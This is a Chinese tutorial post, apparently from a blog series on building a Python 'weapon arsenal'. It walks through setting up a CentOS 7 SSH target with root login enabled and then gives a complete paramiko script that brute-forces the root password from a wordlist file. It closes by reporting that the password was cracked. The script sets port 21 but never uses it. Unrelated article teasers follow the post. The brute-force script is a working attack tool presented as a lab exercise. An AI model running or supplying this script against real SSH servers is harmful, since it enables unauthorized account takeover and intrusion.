Python武器库开发-武器库篇之SSH服务暴力破解(五十四)

Python武器库开发-武器库篇之SSH服务暴力破解(五十四)

SSH(Secure Shell)是一种加密的网络协议,用于在不安全的网络上提供安全的远程登录和文件传输功能。SSH可以在客户端和服务器之间建立安全的通信连接,确保通信数据的机密性和完整性。

SSH服务的主要功能包括:

  1. 远程登录:用户可以通过SSH协议在远程主机上执行命令,就像在本地主机上操作一样。

  2. 文件传输:SSH可以方便地传输文件和目录,支持上传和下载操作。

  3. 端口转发:SSH可以在远程主机和本地主机之间建立安全的端口转发通道,用于安全访问远程主机上的服务。

  4. X11转发:SSH支持X11图形界面的转发,使用户可以在本地主机上远程访问远程主机上运行的图形应用程序。

SSH协议使用公钥加密和密钥交换技术来确保数据的安全性。客户端和服务器之间建立通信连接时,会进行密钥交换过程,以确保通信双方都可以验证对方的身份,并协商出一个用于加密通信的共享密钥。这样,即使在不安全的网络上,也能保证通信的机密性和完整性。

环境准备

首先,我们需要准备一台Centos7机器作为靶机在CentOS 7上配置SSH服务的步骤如下:

  1. 确保系统已安装OpenSSH软件包。如果没有安装,可以使用以下命令安装:
sudo yum install openssh-server

在这里插入图片描述

  1. 启动SSH服务,使用以下命令启动SSH服务:
sudo systemctl start sshd

在这里插入图片描述

  1. 设置SSH服务开机自启,使用以下命令将SSH服务设置为开机自启:
sudo systemctl enable sshd

在这里插入图片描述

  1. (可选)如果需要修改SSH的默认配置,可以编辑SSH配置文件,使用以下命令打开SSH配置文件:
sudo vi /etc/ssh/sshd_config 

在这里插入图片描述

在此文件中,您可以修改诸如监听端口、允许的用户、登录选项等等的设置,修改完后保存文件并退出。

我们在此文件中配置登录密码,首先使用文本编辑器(如vi或nano)打开配置文件,在文件中找到#PermitRootLogin的行,并将其取消注释(将#去掉)。在PermitRootLogin的后面添加一个空格和yes,以允许使用root用户登录。例如:PermitRootLogin yes。然后保存并关闭文件。

在这里插入图片描述

  1. (可选)如果有进行了配置文件的修改,需要重新加载SSH配置,使用以下命令重新加载SSH配置:
sudo systemctl reload sshd

在这里插入图片描述

  1. 配置防火墙允许SSH连接。默认情况下,CentOS7使用firewalld进行防火墙配置。如果没有禁用或修改防火墙设置,可以使用以下命令允许SSH连接:
sudo firewall-cmd --zone=public --add-service=ssh --permanent
sudo firewall-cmd --reload

破解代码

接下来我们用python写一段暴力破解SSH服务的代码,代码内容如下:

#!/usr/bin/env python

import paramiko
import socket
import time

host = "192.168.41.147"
#ssh用户
user = "root"
port = 21
passwords = open("PasswordFile.txt").read().split('\n')

def connect_ssh(password):
    #ssh客户端
    ssh_client = paramiko.SSHClient()
    ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    try:
        ssh_client.connect(hostname=host,password=password,username=user,timeout=10)
    except socket.timeout:
        print("连接超时")
        return False
    except paramiko.AuthenticationException:
        print(f"[!] 账户密码错误 {user}:{password}")
        return False
    except paramiko.SSHException:
        print("内部错误,等待重连")
        time.sleep(10)
        return connect_ssh(password)
    else:
        print("[+] password found: ",password)
        exit(0)

for password in passwords:
    if connect_ssh(password):
        break

这段代码是一个用于SSH密码破解的脚本。它使用paramiko库来建立SSH连接,尝试使用从"PasswordFile.txt"文件中读取的密码列表进行身份验证。

首先,导入了paramikosockettime模块。然后,定义了一些变量,包括要连接的主机IP地址、SSH用户名、端口号和密码文件。

接下来,定义了一个名为connect_ssh的函数,该函数用于连接SSH并尝试使用给定的密码进行身份验证。函数内部使用了paramiko模块提供的SSHClient类进行SSH连接,并在连接过程中处理可能出现的异常情况。如果连接成功,将打印出找到的密码并退出程序。

最后,使用一个循环遍历密码文件中的每一个密码,并调用connect_ssh函数进行尝试。如果找到了正确的密码,将跳出循环。

运行实验

接下来我们在实际运行这段代码试验一下,如图成功暴力破解出了SSH服务的密码

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/708248.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

10W大奖等你瓜分,OpenTiny CCF开源创新大赛报名火热启动!

OpenTiny CCF开源创新大赛正式启幕! 🌟10万奖金,等你来战! 🌟 👥无论你是独行侠还是团队英雄👥 只要你对前端技术充满热情, 渴望在实战中磨砺技能, 那么&#xff0c…

如何评估员工在新版FMEA培训后应用知识的效果?

随着制造业的快速发展,新版FMEA已成为企业提升产品质量、减少故障风险的关键一环。然而,培训只是第一步,如何有效评估员工在新版FMEA培训后应用知识的效果,才是确保培训成果转化的关键所在。 评估员工知识应用效果的首要步骤是制定…

Tailwind CSS 响应式设计实战指南

title: Tailwind CSS 响应式设计实战指南 date: 2024/6/13 updated: 2024/6/13 author: cmdragon excerpt: 这篇文章介绍了如何运用Tailwind CSS框架创建响应式网页设计,涵盖博客、电商网站及企业官网的布局实例,包括头部导航、内容区域、侧边栏、页脚…

vue生命周期及组件讲解(如何导入引用外部vue文件,以及注册全局变量,自定义标签效果)

生命周期钩子的理解与应用 函数说明onBeforeMount( )组件挂载前onMounted( )组件挂载后onBeforeUpdate( )组件更新前onUpdated( )组件中任意的DOM元素更新后onBeforeUnmount( )组件实例被销毁前onUnmounted( )组件实例被销毁后 生命周期在 各类应用以及网站中使用非常广泛&…

MySQL Online DDL原理解读

Hi~!这里是奋斗的小羊,很荣幸您能阅读我的文章,诚请评论指点,欢迎欢迎 ~~ 💥💥个人主页:奋斗的小羊 💥💥所属专栏:C语言 🚀本系列文章为个人学习…

Oracle 系列数据库使用 listagg去重,删除重复数据的几种方法

listagg聚合之后很多重复数据,下面是解决重复数据问题 案例表 create table "dept_tag_info" ( "tag_id" bigint not null, "tag_code" varchar(200), "tag_name" varchar(500), "tag_level" varchar(200), &…

2024【大模型】国内市场如何?程序员该何时入局?

1.市场形势 根据最新的市场研究报告,2023年中国的大模型市场呈现出显著的发展趋势和广阔的前景。以下是关于中国大模型市场的几个关键点: 市场规模和增长:2023年,中国AI大模型行业的市场规模达到了147亿元人民币,预计…

EasyGBS服务器和终端配置

服务器配置 修改easygbs.ini sip/host为本机IP,否则终端能登录,无法视频。 [sip] host192.168.3.190 终端用于登录的用户名和密码 default_usertest default_passwordtest1234 default_guest_userguest default_guest_passwordtest1234终端配置 关…

6.13--CSS

行内样式 <!DOCTYPE html> <html lang"en"> <head> <title>This is title</title> </head> <body> <p style"font-size: 16px; color: red;">大家好</p> </body> </html> 内部样式表…

python调用天气接口并解析json数据

""" 使用python调用请求 使用pip install requests安装requests """ import jsonimport requestsresp requests.get(urlhttps://apis.tianapi.com/tianqi/index,params{key: 4a9ce7c2516a223ewe323dwe323ew323eq1, city: 101020100, type: 1} )…

CLIP-guided Prototype Modulating for Few-shot Action Recognition

标题&#xff1a;基于CLIP引导的原型调制用于少样本动作识别 源文链接&#xff1a;CLIP-guided Prototype Modulating for Few-shot Action Recognition | International Journal of Computer Vision (springer.com)https://link.springer.com/article/10.1007/s11263-023-019…

C# WPF入门学习主线篇(二十九)—— 绑定到对象和集合

C# WPF入门学习主线篇&#xff08;二十九&#xff09;—— 绑定到对象和集合 在WPF中&#xff0c;数据绑定是开发动态和交互性用户界面的核心技术。通过数据绑定&#xff0c;我们可以轻松地将UI控件与后台的数据源连接起来&#xff0c;实现数据的自动更新和显示。在本篇文章中&…

iText7画发票PDF——小tips

itext7教程&#xff1a; 1、https://blog.csdn.net/allway2/article/details/124295097 2、https://max.book118.com/html/2017/0720/123235195.shtm 3、https://www.cnblogs.com/fonks/p/15090635.html 4、https://www.cnblogs.com/sky-chen/p/13026203.html 5、官方&#xff…

短视频矩阵工具有哪些?如何辨别是否正规?

随着短视频平台的持续火爆&#xff0c;搭建短视频矩阵成为各大品牌商家提高营销效果和完成流量变现的主要方式之一&#xff0c;类似于短视频矩阵工具有哪些等问题也在多个社群有着不小的讨论度。 而就短视频矩阵工具的市场现状而言&#xff0c;其整体呈现出数量不断增长&#x…

Mybatis中#和$的区别

在MyBatis中&#xff0c;#{} 和 ${} 是两种用于参数替换的占位符&#xff0c;但它们在处理方式和安全性上有所不同 #{} 预编译处理&#xff1a;MyBatis在处理#{}时&#xff0c;会将其中的内容作为参数进行预编译处理。这意味着MyBatis会生成一个PreparedStatement对象&#x…

Prometheus+Grafana监控MySQL

一、准备 grafana服务器&#xff1a;192.168.48.136Prometheus服务器&#xff1a;192.168.48.136被监控服务器&#xff1a;192.168.48.134、192.168.48.135查看时间是否同步 二、安装prometheus server 【2.1】安装 # 解压安装包 tar -zxvf prometheus-2.52.0.linux-amd64.t…

location.href = ‘welcome.html‘;报错 - Completed 406 NOT_ACCEPTABLE

巧妙解决方案&#xff0c;使用服务端进行redirect即可 。 package com.aliyun.controller;import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.GetMapping;Controller public class RedirectController {GetMapping("/r…

华为云CodeArts API:API管理一体化平台 5月新特性上线啦!

CodeArts API是华为云API全生命周期管理一体化解决方案平台&#xff0c;支持开发者高效实现API设计、API开发、API测试、API托管、API运维、API变现的一站式体验。 通过以API契约为锚点&#xff0c;CodeArts API保证API各阶段数据高度一致&#xff0c;为开发者提供友好易用的A…

【kubernetes】k8s中包管理工具-----Helm 超详细解读

目录 一、Helm 1.1什么是 Helm 1.2Helm 有三个重要的概念 1.2.1Chart 1.2.2Repository&#xff08;仓库&#xff09; 1.2.3Release 1.3Helm3 与 Helm2 的区别 二、Helm 部署 2.1安装 helm 2.2命令补全 2.3使用 helm 安装 Chart 2.3.1添加常用的 chart 仓库 2.3.2…